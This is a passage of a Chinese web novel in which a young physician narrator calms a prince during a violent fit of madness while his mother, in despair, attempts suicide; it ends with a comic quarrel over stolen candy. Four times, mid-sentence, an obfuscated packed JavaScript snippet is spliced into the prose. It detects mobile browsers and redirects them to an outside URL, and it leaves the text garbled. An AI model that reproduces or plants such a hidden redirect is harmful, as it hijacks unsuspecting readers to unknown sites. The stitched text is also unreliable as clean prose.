平安听我把话说完,一点儿没放在心上,只专心照着镜子左顾右盼,说她最近脸上皮肤状态不稳定,起了一些小痘痘。我趴她脸上仔细看了看,肌肤胜雪,如婴儿一般细嫩,连毛孔都看不见,一层绒绒的汗毛,可爱极了,找了半天才看见略有似无的三两颗痘痘。我道这几颗痘,算什么,可以忽略不计。 平安不甘心地拿着我的小手,在她脸上细细抚摸探寻,道:“我这起了好些暗痘,你看,摸到了没有?你看有吧,这个得赶紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14336149|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处理,不然等发出来,就晚了,难看死了,就算消了也有痘痕痘坑,得防患于未然。”她神色紧张地照着镜子,问我该怎么调理。 我做样子帮她把了把脉,确实有些上焦火旺,问她最近除了长痘痘,是不是还眠浅多梦,放一下耳尖血,清热败火,就好了。 花铁铁正好和刘橡戏耍完回来,两个人抱着水壶牛饮,他们一只蜻蜓也没有捕到,却玩得十分尽兴。花铁铁最会放耳尖血,也最爱放,这事儿就交给她了。我则去给平安再做点面膜,平安爱美,这些东西我时常给她做,以前我称这是药疗养肤,还是平安给取的名叫面膜,我觉得甚是形象。 我将人参,三七,当归,白术,珍珠,桃花,玉竹,白芨,川芎,甘草,玫瑰,白茯苓,白芷,白芍,白附子,白蔹,白僵蚕,菟丝子,用内力化成齑粉,加入花露调和成糊,给平安敷脸。 花铁铁自然也要凑这个热闹,她平素自持天生丽质,从不在意保养容貌肌肤,如今也有样学样。说起有样学样就得算上刘橡,于是互相放完耳尖血,她们三个老老实实地并排躺在榻上,享受着我的伺候。剩下一点,我怕浪费,就抹在自己脸蛋儿上,也挤在她们身边躺好,一动不动。 齐王和惠王对弈,棋子落在棋盘上啪嗒啪嗒的声音,很是悦耳,黄昏沉沉,不知不觉,我竟然睡过去了。 “啊……人参娃娃,我要人参娃娃……” 是刘橡疯癫地哭喊声,梦中我正焦灼不安,便被慌慌张张地平安叫醒:“长安长安,快醒醒,大橡,七皇子疯疾发作了,你快去看看……快!” 什么?疯疾发作?不可能啊,他都好得差不多了,怎会突然复发? 我不可置信,看了看一边的刻漏(铜壶滴漏,计时工具),惊道才一过了一刻多钟?我还以为睡了很久,可只是打了个盹儿的功夫,刘橡怎么就发病了呢?平安来不及细说,一边拉着我赶紧起身出去,一边用袖子给我胡乱擦了擦脸蛋上残留的面膜。 走到偏院墙外,平安就红着脸止步不前了。惠王正手足无措急得来回踱步,见我来了,稍稍安下心来。 花铁铁正撅着屁股,趴在偏院院门外往里看,堂邑夫也在,站在花铁铁身后面满脸尴尬,叫花铁铁别看了,花铁铁叫他滚。 院墙里传来贤贵妃和齐王制止疯疾发作的刘橡的劝阻声,安抚声,喊声,哭声,叫吼声,呵止声……院内只有他们娘仨,墙外只有我们几个,所有的宫人宫婢甚至守卫,早都给惠王遣到丛芳园正宫大门外的甬道上回避。可他们站的再远,也远不过声音,任谁都听得明白,墙里面闹成一团乱了。 “啧啧啧,皇家的种,就是不一样哈,发育的真好啊!哎妈呀,都给我看热了……”花铁铁一边看,一边用手扯了扯,松了松衣领,往里脖颈子里扇风。 “花铁铁,你都要流口水了!”我恨铁不成钢。 花铁铁看得太投入了,听到我的声音,吓得哆嗦了一下,一边转头看着我,一边赶紧摸着下巴缩回身子,意识到被骗,恼羞成怒道:“你放屁!” 15. 疯疾 我快速伸头闪了一眼院儿里的情况,果然…… 我狠狠瞪了一眼还想往里看的花铁铁,暗骂一句我草,都那种情况了,也特么只有你能看得下去。恨铁不成钢地咬着后槽牙:“你怎么这么不要脸,敢偷窥皇子,这是大罪。” “大罪个屁,我特么作得什么孽,来了你们北汉以后,天天不是这个大罪,就是那个大罪。”花铁铁还挺憋屈的,黑着脸,不服气地嘴硬道:“他自己脱得精光,满院子跑,还怨着我看啦。再说他外表虽然是大人,其实也就是个三岁小孩儿,小孩儿我看看怎么了?又没少他一块肉。” “他自己脱的你就能看啊,你也有病?!”我心口憋得难受,打了花铁铁胳膊一下。刘橡他病着,脑子不清醒,做什么出格的事来都情有可原无可指摘,可你这算什么,这特么不是趁人之危吗?那到底是个皇子,皇子身子是随意能给人看的吗?要不是他病着,心智残缺没有理智,你几辈子修来的福气,能看一眼,癞蛤蟆吃天鹅肉。 别的不说,就说你真的把他当作三岁小孩儿吗?“特么三岁小孩儿能给你看热了啊!?那我还十七了呢,你把我当大人了吗?”说完,我瞪了一眼在一边儿毫无作为,由着花铁铁性子胡闹的堂邑夫。 堂邑夫吓得一个激灵,愧疚地往后缩了缩。 花铁铁闻言愣住了,在场的人也都会意:是的,我一个十七岁的灵魂,困在一个永远长不大的身体里,大家都知道我不是孩子,却仍然把我当成孩子。刘橡是成年的身体里住着一个永远长不大的灵魂,可大家都默认他已经长大了,不应该像孩子一样不成熟,稍显幼稚,略有异常,就是行为有失,疯癫无度,就是折损皇家颜面,不可告人,见不得光,耻活于世,罪该万死…… 墙里贤贵妃,扯着被刘橡撕扯得有些不成样子的衣衫,不停地往刘像身上遮盖,齐王体弱根本按不住身强体健的刘橡,贤贵妃焦急万分,哭啼不止,苦苦哀求,刘橡始终不为所动,赤身裸体,乱踢乱蹬,挥舞着手臂和拳头,偏执地重复着一句话:“我的灵根,我的灵根……” “是娘的错,娘不好,娘的错,你不要再疯下去了,别疯了,娘求求你了别疯了,咱们再种一个再种一个,娘给你跪下了你别疯了,你已经大了,不是小孩子了,不能再这样不可以,这里不是你的兰池宫,你不能在这里这样的,你把衣服穿上吧,娘求求你了,娘给你跪下,长安,长安呢,长安怎么还不来……”贤贵妃声嘶力竭。 我的心揪得难受,看着近在咫尺的院门,我却如何也迈不开步。 齐王抱着刘橡,挨了不知多少巴掌和拳头,他咬着牙闷哼,努力用自己的身体遮挡着刘橡的隐私,却根本无能为力。“武疯子”的威力,不是常人能压制的,何况是身体尚且孱弱的齐王。 “橡儿,你要是再这样,娘也不想活了,咱们都活不了了,咱们求陛下赐死吧,还是赐死吧,一了百了。”贤贵妃绝望地瘫坐在地上哭嚎。 平安小声哭泣着,推了推我。我也难受的想哭,可,身子僵硬得不听使唤。 “娘,你胡说什么,哥会好的,哥已经好很多了,哥会好的。”齐王红着眼睛,语气坚定。 “不会好的,不会的,反反复复,终究不能痊愈像个常人哪……我的儿……”贤贵妃捶胸顿足:“是娘的错都是娘的错,是娘一时心软,早就该掐死他的,总想着大一些就好了,总下不去手,可是长大了,才知道根本好不了,好不了,根本好不了……”在过去无数个岁月里,贤贵妃曾不止一次把自己的手伸向睡梦中的儿子,真的,不止一次! 夜色将近,刘橡的疯癫,极尽的羞辱着这位母亲。像夕阳最后的余辉,燃烧着残存的挣扎,当夜幕降临,当黑暗袭来,希望也跟随着沉沦殆尽…… 远处暮鼓声声,贤贵妃感觉自己的心,好像终于死了,脸色苍白,双目放空,似乎虚脱,有气无力地俯在地上,悔恨,苦痛,惶惑,失了魂魄一般,喃喃道:“他小的时候力气小,我还能制得住,也没有伦理之防,可如今这样子……虽然是我的亲儿,也不行啊……我儿毕竟大了……我早就想到的,一早就下定决心,等他十六了就掐死他,可总是心软,过了十六,想十七,到了十七,等十八,他是我身上掉下来的肉啊,我下不去手啊,总想着再留些日子,再大一大,可……” 她的道德感羞耻感扼住她的脖子,让她无法喘息,也许这就是她的宿命,她早就该死了,带着她的疯儿子,早就该死了。 面对命运的不公,贤贵妃扯出苦涩的冷笑,幽幽地道:“这种事传将出去,皇室颜面何存啊,我们是活不成了,还是赐死吧,死了一了百了,也不叫天下人耻笑了。”解脱吧,也该解脱了。 她似乎在耻笑嘲讽中挣扎了不知多少年,她没在乎过,她从不认为她的疯儿子是拖累,可是这么多年了,真的把她血都耗光了;还有齐王的事儿,后来虽然被证实是遭人谋害,但这几年,她几乎要羞愤死了,恨这个儿子不争气。 可她也愧疚,齐王那么小,就远赴封国,即使在身边的时候,她也因为对刘橡的格外照顾,而忽视他。呵,她算什么母亲,对两个儿子,她都无尽的愧疚,她不配为人母,她没有护好任何一个儿子,尤其是她早夭的大儿子…… 她自责的心像是被一只锋利的爪子紧紧攥住了一样,好痛啊,心好痛啊……好累啊,她太累了…… 那就死吧,都去死吧…… “娘,你莫说这些糊涂话,长安……长安……”齐王扯着嗓子叫我,他以为我还没醒,他把所有希望都放在了我身上。可站在一墙之外的我却迟疑了。 夏季昼长夜短,可是今天的白昼特别长,黑夜好似故意姗姗来迟。 贤贵妃听着那一声声长安,心越发疼了,看着齐王抱着刘橡,她仿佛看见过去无数个日子里,自己也这般抱着疯癫的儿子,极度的羞耻感,再度猛烈地袭上心头,重重地撞击着,直至将她粉碎。 说不在意别人的目光和笑话,都是假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14345536|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,自己都觉得滑稽,羞耻,无尽的悲凉涌上心头。贤贵妃忽然感觉身子轻了好多,这些年沉甸甸的东西,仿佛忽然消失不见了。 贤贵妃擦了擦脸颊上的泪,理了理凌乱的头发,抿了抿干涩的朱唇,轻声道:“樟儿,这么多年,娘只顾着你哥哥,忽视了你,你受苦了,对不住。你要,好好的……” 齐王感觉母亲有些不对,还没反应过来,只见贤贵妃说完,骤然起身冲着一边的太湖石迎头撞去! 说时迟那时快,齐王松开刘橡,一个箭步张开双臂挡在太湖石前,贤贵妃一头撞在齐王心口上,两人重重跌在太湖石上,齐王痛得脸色胀红随即煞白,冷汗直流,一阵耳鸣,手脚冰凉麻木,眼前黑了一大片。 他憋着一口气,好久才换气,却始终一句话也说不出来,只看着不停哭泣,不停说着什么的贤贵妃,摇了摇头,示意母亲不要冲动,最终瘫进母亲的怀里…… “啊……我的傻孩子,我的樟儿,你不要命了吗?这一下要是把你撞出好歹,你叫娘怎么活啊?”贤贵妃这才恢复了理智,清醒过来,来不及回想自己刚才怎么就鬼使神差的要自戕,只看着怀里的儿子,一下子心疼坏了,抱着齐王嚎啕大哭:“儿啊,我的儿啊……” 齐王硬生生挤出几声娘,便再也说不出话来,只艰难地抬手握着母亲的手,眼神宽慰。 墙外,闻者同悲,都红了眼睛。我看了看尚明的天色,有些等不及了。 花铁铁捅了捅我,“怎么着,还不进去?搁这杵什么呢?你是医者,又是小孩儿,还是个‘男的’,你避什么嫌?你再不进去,她们母子三人死定了,都等不到赐死的圣旨。”说着,花铁铁一脚把我踹了进去。 花铁铁嘟囔着,平时脸皮厚得跟城墙一样,这会儿倒羞涩起来了,男的都长一个样,又不是没见过。我知道她说的是杜晦。羞红的脸烧起来,心也揪了一下,回头对着墙外压低嗓子冷冷道了声“滚”。 墙外瞬间没了动静…… 想要制止住光着身子狂奔乱蹦的刘橡,没那么简单,他正在疯癫之中,是万万不能用强将其打晕的,虽然快刀斩乱麻,但不适用于疯疾。不然会加重病情,以前贤贵妃就常用这种手段,结果无异于饮鸩止渴,刘橡的情况越来越糟糕。 而且,现在的刘橡,身经百战,防御能力超强,贤贵妃和齐王根本没办法,趁其不备,将其打晕制服。而我,虽然能,却不能够,一旦失去了刘橡单纯的喜爱和绝对的信任,我将丧失一切接近他的机会和治愈他的可能。 刘橡看见我来了,眼睛一亮,欢喜地跑着跳过来,重复地叫着:“人参娃娃你来啦,人参娃娃你来啦……”他依旧不受控制的疯癫着,围着我不停地又蹦又跳雀跃不已…… 我缩了缩本就小小的身子,本能地想回避躲开他,却强忍着复杂的情绪,仰头对上他澄澈的只有迎接朋友欢喜的眼睛,对他笑了笑,像以前我每次爬墙头找他玩儿一样,软软糯糯地温柔道:“我来啦。” 16. 赐死 刘橡正疯在兴头上,我想,先让他疯着吧。便上前查看了一下齐王和贤贵妃的情况,齐王断了四根肋骨,我没明说,只说没事,给他喂了一颗止痛的药丸,叫他躺在贤贵妃怀里,叮嘱他切不可移动,先缓一缓,有什么话待会儿再说。 齐王对自己的伤势也有数,我们心照不宣,不想让贤贵妃再伤心自责,那无异于雪上加霜。 身边的刘橡,简直疯得不成样子!像一团耗尽最后生命去狂欢燃烧的火焰,看起来魔怔得很。 面对这样的病人,要拥有一颗坚强的心。原来我并没我想象中的那样强大,我感觉我的灵魂受到的前所未有的冲击,那久违的叫做恐惧的东西,像是发现了我的弱点,找到了我的裂口,疯狂地往我心里钻。 一个疯癫的人,他不仅仅折磨自己的精神,他也折磨别人的精神,给人的心灵带来摧枯拉朽的打击。我也只是见过刘橡为数不多的几次病发而已,便感觉自己的身心都被撞击碎了。 原来,贤贵妃的苦难和煎熬,没人可以感同身受。这一刻,我对她的一切言行举止,完全谅解。 我红着脸,眼睛都不知道往哪看,别过头对着疯癫的刘橡道:“大橡,你,你赶紧,赶紧把衣服穿上吧。你,你的毛毛虫,好吓人,我害怕。”说着,把地上的衣服捡起来,举在半空中。刘橡一把抓过去,撕成布条。“武疯子”力气果然就是大。 “毛毛虫?”刘橡顿住疯癫的脚步,一脸茫然,挥舞的手臂却停不下来似的乱抓着。“毛毛虫,在哪里,在哪里,在哪里……”疯起来的刘橡是完全不能自控的,其实,所有人中,最痛苦的就是他了。 我不小心扫了一眼,眼睛瞬间有些辣得慌,脸更红了,又使劲儿别了别头,虚虚地指了指他的跨,“那个。” 刘橡不停地上下跳着,低头看了看,随着他的运动上下甩动的“毛毛虫”,道:“这不是毛毛虫,这是小鸡~鸡,你看还有蛋蛋!两个,人参娃娃没有嘛?” 刘橡说着上前来,就要扒我裤子,我吓得倒吸着凉气,抓紧裤腰带大叫了一声。齐王见状惊吓地连忙起身想来阻止,本来因为止痛药已经不疼的伤处,这下又扯得剧痛难忍,他不禁叫了一声,瘫了回去。 我哪用他来保护,已然一个飞身上了房顶,叫齐王不要乱动。贤贵妃紧紧抱住脸皱成一团的齐王,给他擦头上脸上脖子上豆大的汗珠。 “没有小鸡~鸡的是女人,是太监!人参娃娃是太监,呜啊呜,人参娃娃是太监,是太监……”刘橡好像发现了什么大秘密一样,兴奋地一边喊一边拍手大叫。他如一只草原上奔放狂浪的疯马…… 我被狠狠噎了一下,捂着嘴咳嗽不止,虽然夜色昏暗,可我们鬼门的人都练就了一双夜视眼,而且房顶上视野仿佛更好,我感觉眼睛烫得慌,错开视线,良久才道:“大橡啊,我比你小我都不做光屁股娃娃了,你做什么不穿衣服啊?” 刘橡愣了一下,随即抱着头跑来跑去,仿佛忘记了什么很重的事,不停地念叨:“为什么,为什么……” 忽然他委屈极了的样子,一屁股坐在地上,四仰八叉,胡乱蹬着腿,像个孩子一样,毫无形象,咧着大嘴,仰头嘤嘤哭起来,“嗯嗯嗯,我的灵根,我的灵根,我的灵根死掉了,飞将军,我的飞将军……” 他一边哭诉,一边很是痛苦的样子,仿佛浑身着火了一样,他不停地挥舞着手臂,撕扯着身上并不存在的衣物。 我看了看不远处碎掉的小罐子,柔声道:“没关系的没关系的,之前不是跟你说过的吗,灵根是很难种的,要避谶要渡劫,很容易就发生意外摔坏的,摔了就摔了,咱们还可以再种。” “再种,再种……”刘橡偏执地重复着,手上腿上的动作却根本没办法停下。他似乎也折腾累了,浑身都是汗水。他现在的状况,就和小孩子讹觉(jiao)一样,越是困得难受想要睡觉,越是哭闹不止无法入睡。 “你做什么不穿衣服呢?穿上好不好?”我害羞地问。 “不,不要,好热,好勒,烧得我喘不上气来,勒得我无法呼吸,啊……啊……”刘橡越发癫狂着撕扯,甚至抓坏了身上脖子上的皮肤。忽然他低头看着自己的小胯,抱头尖叫:“啊,毛毛虫,毛毛虫,好多毛毛,我不要毛毛,我不要毛毛……毛毛咬我,毛毛咬我……” 越疼越拔,越拔越疼……刘橡的行为再次刷新了他的疯癫记录。 贤贵妃抱着奄奄一息的齐王,绝望羞耻极了,哭泣不止:“赐死吧,把我们都赐死吧!呜呜呜……” 我浑身止不住地发抖,我很久没有这样子了,这种陌生的身体反应,让我难受极了,难受到极点,我竟然想要呕吐,我极力克制着这种冲动,牙齿咬得咯咯作响。 我以为刘橡的疯癫这就够了,没想到还有更让人破碎到粉碎的情况。 刘橡忽然嚷嚷着要种灵根,于是疯狂地轮着胳膊徒手挖坑,指甲掀翻,指尖血肉模糊,也不停下。坑挖好后,他笔直地站进坑里,说要浇水,于是跳出小坑,对着里面撒了一泡尿,随后坐在泥坑边上,将泥巴捧起来涂满全身,只有脸上没有,最后整个人坐进坑里,又将刚才挖在一边的土,埋在自己身上拍实…… 刘橡大叫自己是飞将军,是灵根,大声背诵《德道经》。 他,把自己作为灵根,完完整整的种了一遍…… 起先我震惊地无法言喻,最后,我有些想哭,我只想哭,我好心疼他啊。他其实是个好孩子,他只是没办法控制自己。他活在自己的世界里,他的世界和我们的世界,并不相通。 贤贵妃不想活了,她是真的不想活了。以前在兰池宫,刘橡疯得比现在厉害多的时候也有,可到底不被外人看见,如今…… 我想她是怨恨我把刘橡带出来的,也怨恨自己为什么就那么不小心,摔坏了那个宝贝灵根。她更恨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14354121|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她自己为什么一定要来,好好待在宫里不行吗?为什么一听说刘橡病情好很多了,可以如常人一般外出走动,就按捺不住,非得过来看看。 远处的宫室都已经掌灯了,月上枝头,黑暗中,我下定了某种决心,壮了壮胆子,飞身下了屋顶,上前一把抱住诵经的刘橡,一边将自己的内力缓缓输入刘橡体内,送至周身各处镇定安神的穴位,一边在他额头上轻轻吻了一下,软糯糯地安抚他,轻声道:“别害怕,别紧张,慢慢呼吸,慢慢喘气……” 夏夜的燥热,让空气中的尿骚味更加浓郁,我用内力驱散,净化着空气,使空气呼吸起来格外清新凉爽。 刘橡是想控制身体,努力听从我引导的,可疯癫的状态不是他想安静就能安静下来的,他的身躯扭动不止,我们一个不稳,摔躺在地上。 他抽搐着不停地翻滚着,我们紧紧相拥。随着他的翻滚,他高大沉重的身躯,一次一次将我压在身下,挤压的我内脏有些难受,呼吸瞬间困难,脸色霎时胀红,脖子和额角的青筋陡然暴起。 连续不断地碾压,让我忍不住痛苦地哼出声来。可我坚决不放手,就那样坚定地抱着他,直到清凉的内力,疏通心脉经络,充盈神经穴位,让他神志清明,重新掌握身体的控制权。 疯疾发作,耗尽了刘橡的体力,贤贵妃身边带来的都是心腹,他们知道什么时候回避,什么时候出现,然后娴熟地伺候疯疾发作后的刘橡,和收拾狼藉的残局。 我们沐浴更衣完,刘橡自责地哭泣着问,他是不是又发病了。问我他是不是不是好孩子了,担心我再也不找他玩了。 我包扎好他受伤的指尖,一边给他全身上下的抓痕擦伤细细上药,一边对他好一番,极尽温柔和耐心的安抚宽慰,最后在他脸颊上亲亲吻了一下,叫他别难受别多想,向他坚定道我很喜欢他,不论发生什么,我都喜欢他,从始至终。 他对我的话深信不疑,得到确定的承诺,才放下心来,松了口气般,舒缓开紧张的身体,然后乖巧懂事地喝完我喂的药,睡下。 贤贵妃守着安睡如婴儿般的刘橡,抚摸着他的面庞,和受伤的手指,心都碎了,不停地抹着眼泪。 我都不知道,过往这么多年她是怎么苦过来的,每次刘橡的疯疾发作,她都是这样陪着疯癫的刘橡一起熬的。多少次她都如方才那般,是真的不想活了,可多少次,看着儿子静静地睡下,她又舍不得了。 贤贵妃打算把刘橡带回去好生看管,我心中警钟大作,却不好说什么,只劝慰贤贵妃稍安勿躁,把刘橡放心交给我,给我一些时间,等我把刘橡治好了再还给她。她面如死灰,强装一副死马当活马医,再抱最后一次希望的样子,点头答应。 我想给贤贵妃把把脉,贤贵妃拒绝了,她为了刘橡早日康复,早年赌咒,此生不论如何都不寻医问诊。 她是一个伟大的母亲,一辈子都在为儿子奔波操劳。 17. 糖呢 齐王的肋骨只能静养,等待自动愈合。他躺在床榻上,默默哭泣,他心疼哥哥,更心疼母亲,他不是没有怨恨过母亲对哥哥的偏爱,对他的忽视,可这次回来,见识过哥哥刘橡的疯疾之后,他终于能够体谅母亲的不易和痛苦。 我被花铁铁一脚踹进院子后,刘景就来了,墙外众人退下回避。 我忙完走出偏苑,只见刘景独自等在外面,他背对着我负手而立,仰头看向被层层宫墙框住的远方。 我跪拜行礼,他缓缓转身,走过来,将我扶起。他的眼圈红红的,我赶紧低下头,避开视线。良久,他声音哽了哽,有些沙哑,问道:“我家七郎的……病,还……有得救吗?” “有!”我坚定的回答,然后又略微迟疑地道:“药引子有些难找,不过也不麻烦,只是得等一个机缘。” 刘景点点头,有些欣慰,也有些感激,把我的小手握在他的大手里,拍了拍,抖了抖嘴角,再没说一句话。他在院子门前踱步踟蹰,许久,才踏了进去…… 他后来跟我说,那天他是要我一个确定的答复,来做一个决定的。如果我说没救了,他就真的下旨赐死他的七郎,长痛不如短痛,他只身在外面等了那么久,其实是要亲自送他的七郎上路。 薛环还是没有消息,我便把为七皇子刘橡寻药引子的事,交给了堂邑夫。 平安等人问我到底是什么药,还要避着她们,私下交代堂邑夫。我笑而不语,花铁铁逼迫堂邑夫,堂邑夫如何也不开口。她们只能作罢。 不是我保持神秘,不肯明说,实在是这味药引子,有些难以启齿,并不能被世人轻易接受,是以三缄其口。 刘景御驾丛芳园探视七皇子和齐王以及贤贵妃,便也安排在此用晚膳。于是我们也得等着一起陪膳,这是恩典。可刚才那一番折腾,我身心疲惫,本来我就有饿病,这会儿更是饿得心烦意乱,烂么糟糟。 胡乱塞了点点心,也是不行,我疯狂地渴望着“安慰”,就像戒奶期的孩子犯了奶瘾,急切地寻求母亲的怀抱!于是就去我的行囊里翻找我的宝箱应急,不找不要紧,一找我简直原地死去。 “我的糖,我的糖啊我的糖……这个死花铁铁,一定是花铁铁……”我晃了晃空空如也的糖盒子,里面刚啷刚啷响着,只有特么一颗糖果了,这个没良心的,偷吃我糖,就给我留了一颗,我恨地咬碎牙齿。 她怕是还觉得自己可有良心了吧,还知道给我留一颗。我怒发冲冠,拿着我的糖盒子,如闪如雷地冲着院子里的凉亭子杀去。 凉亭里,堂邑夫下学回来,顺道给花铁铁和平安带了两套新品胭脂口脂,平安和花铁铁正闲情惬意地倚在美人靠上,手持小镜一一试色,有说有笑。惠王和堂邑夫在亭心石桌旁翻阅书籍讨论学业课题。 老远见我气鼓鼓地来了,众人还没作反应,就见我把手中一物“唰”地往花铁铁脸上一扔,花铁铁本能地躲了一下,没砸到脸上,只肩膀挨了一下。 花铁铁收起脸上的笑容,蹙着眉头委屈巴巴地揉着肩,一脸错愕和不快,埋怨:“干什么?你也发疯病了!” 这话用词有些刺耳,平安下意识的看了一眼惠王。惠王依旧端庄持重,毫无波澜,只看着我一脸探究。堂邑夫倒是提了一口气,星眸微颤。 我眼底凛冽,怒“哼”一声,喘着粗气,攥着拳头,那架势那模样似是马上就要气炸了似的。 平安上前来抱住我,拍拍我的背给我顺气,问我怎么了,气成这样。我噙着泪水,指着花铁铁道:“你问她!” 花铁铁看了一眼掉在地上的糖盒子,了然,有些心虚,却故作轻松,然而到底惴惴,便提着气硬着头皮,吊儿郎当道:“哎呀,我当什么大事儿呢,那个,不是,不是你……牙口不好嘛,平安不许你吃糖,我那个,我这……我可都是为了你好。” 我听不得她如此狡辩,“好个屁,你滚,绝交,我要和你绝交,我再也不和你好了,太过分了太过分了,这次说啥我也不和你好了。”我用袖子抹了把眼泪,瘪着嘴努力忍住不哭出来,却还是破了功,说完就仰着头咧嘴哇哇大哭起来。平安是个心软的姑娘,当即跟着红了眼圈儿。 堂邑夫见此情形坐不住了,傻站那里嘟囔道:“坏了坏了,真生气了。” 即便我和花铁铁的事儿,他不好掺和,他也不会把花铁铁晾在一边,自求多福。趁着我大哭,堂邑夫对花铁铁剑眉一挑,示意她小心说话,赶紧哄,还能挽回。花铁铁并没领受他的好意。 堂邑夫也就是占了我这人向来就事论事,不喜欢连坐的好处。当然此刻,我也顾不得计较堂邑夫敢在我眼皮子底下使小动作,只倔强地瞪着花铁铁,像御敌的小兽一样,露出一排细小的下牙,每一个小牙都极力对着花铁铁展示我心中无尽的恨意。 我声色俱厉,指着她道:“我攒了那么久的糖,你都给我吃了,我恨死你了,我再也不和你好了,呜呜我辛辛苦苦攒了那么久,都给你吃啦,呜呜呜,好伤心,伤心死了,气死我了气死我了,呜呜呜……”说着,我又难受的不行,哭得简直如丧考妣。 平安这个时候不好怪罪我私藏糖果,可也不支持花铁铁打着她不许我吃糖的名义偷吃我的糖,她抱着我在美人靠上坐下,一边给自己擦眼泪,一边给我擦眼泪,继续抚着我的后背给我顺气。 “那是你攒的吗,那一看就是一顿没吃完,实在吃不了剩下的。”花铁铁见缝插针道。好像抓住我的漏洞,她的罪过就轻了一样。 “要你管?!呜呜呜……”我嗓子气得有些劈叉,声音沙哑干涩。惠王忙端了杯茶给我。我接过来一饮而尽,一边接着哭,一边把被子递还给他。惠王觉得我样子可爱,忍俊不禁,勾了勾嘴角,又怕真笑了出来,便赶紧咬住。 “我那……我不,我不给你留了一颗吗?”花铁铁有些挂不住脸,毕竟欺负小孩子,有违江湖人之道义,强行狡辩完,瞬间换了副面孔,一脸歉意地往我身边挪了挪,讨好服软道:“你别生气别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14354325|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭别生气,我再给你买,还不行吗?” “不行,不行,不行,这次不论你说啥,我也是不跟你好了。”我太伤心了,根本不愿意原谅花铁铁,一边说着一边往后仰,都把平安挤到美人靠边边的凉亭立柱上了。 “行了行了别退了,你都把你妹妹挤扁了,过来吧你,躲什么躲!”花铁铁一把把我从平安怀里拉出来,环臂抱住,摇着身子,不顾我的挣扎,对着我撒娇求原谅:“嗯,别生气了别生气了,你和我好,你和我好。平安你帮我劝劝。” 花铁铁求助,又剜了一眼一旁的堂邑夫,厉声厉色:“你还不赶紧帮我劝。”然后又搬惠王当救兵,语气温婉:“王爷你也帮我劝劝。”接着又百般讨好我,“嗷呦,生那么大气,你看你气鼓鼓的,像个小□□似的。” 你才是小□□,你们全家都是小□□! “滚,滚,滚,你给我滚,你滚你赶紧收拾收拾东西滚,滚,滚回你的南唐去吧。”我立即爆炸,从花铁铁怀里拳打脚踢的挣扎着要出来,可花铁铁力壮如牛,我被禁锢在她怀里,只能像一个蛆一样蛄蛹,我声嘶力竭,看到其他人纷纷过来,不像是要帮我,反倒大有劝架的阵势,我更气了:“滚,都滚,我看谁敢劝!都别劝,谁也不许劝,谁劝我和谁掰,花铁铁你个大虎叉,你死心吧,咱们俩今儿就到这儿了,这次说啥我也不和你好了,谁劝也不好使。” 我哭得声泪俱下,这下子众人都愣住了,即便是堂邑夫也没见我这幅样子,一时间谁也不知道该怎么办了,除了花铁铁! 花铁铁果然脑回路异常,不知道哪根筋儿搭错了,只觉得我的模样甚是可爱,有些忍不住想笑,却实在不敢笑,身体抖着,快要憋出内伤的样子,也不怕我鼻涕抹她一身,紧紧抱着我,趴在我肩头缓了缓,才道:“行,我走,你别伤心别生那么大气,荷花酥你吃吗?你以前一直吵吵着要,我都没抽出空来给你做。” “……呜呜……嗯?……”荷花酥?我脑子有些没转过来,忽然有些忘记怎么哭了,呜咽声瞬间弱了下来。荷花酥,是有挺久没吃了,被她这么一提,不仅想得慌,还馋得难受了,我哼哼着继续哭着问:“……加蜂蜜吗?” 花铁铁抿嘴一个得逞的笑,宠溺地捏捏的我小脸蛋儿,朗声郑重承诺道:“加,必须加,加倍的加。” “嘤嘤嘤,那行,给我做完,你就得走,嘤嘤嘤……”嘴上依旧在驱赶着花铁铁,但我根本没意识到我的气已经消散了,甚至都忘记我还在跟花铁铁生气吵架中,虽然面上仍然不停地嘤嘤哭着,可脑子里已经全是流着蜂蜜的荷花酥了。 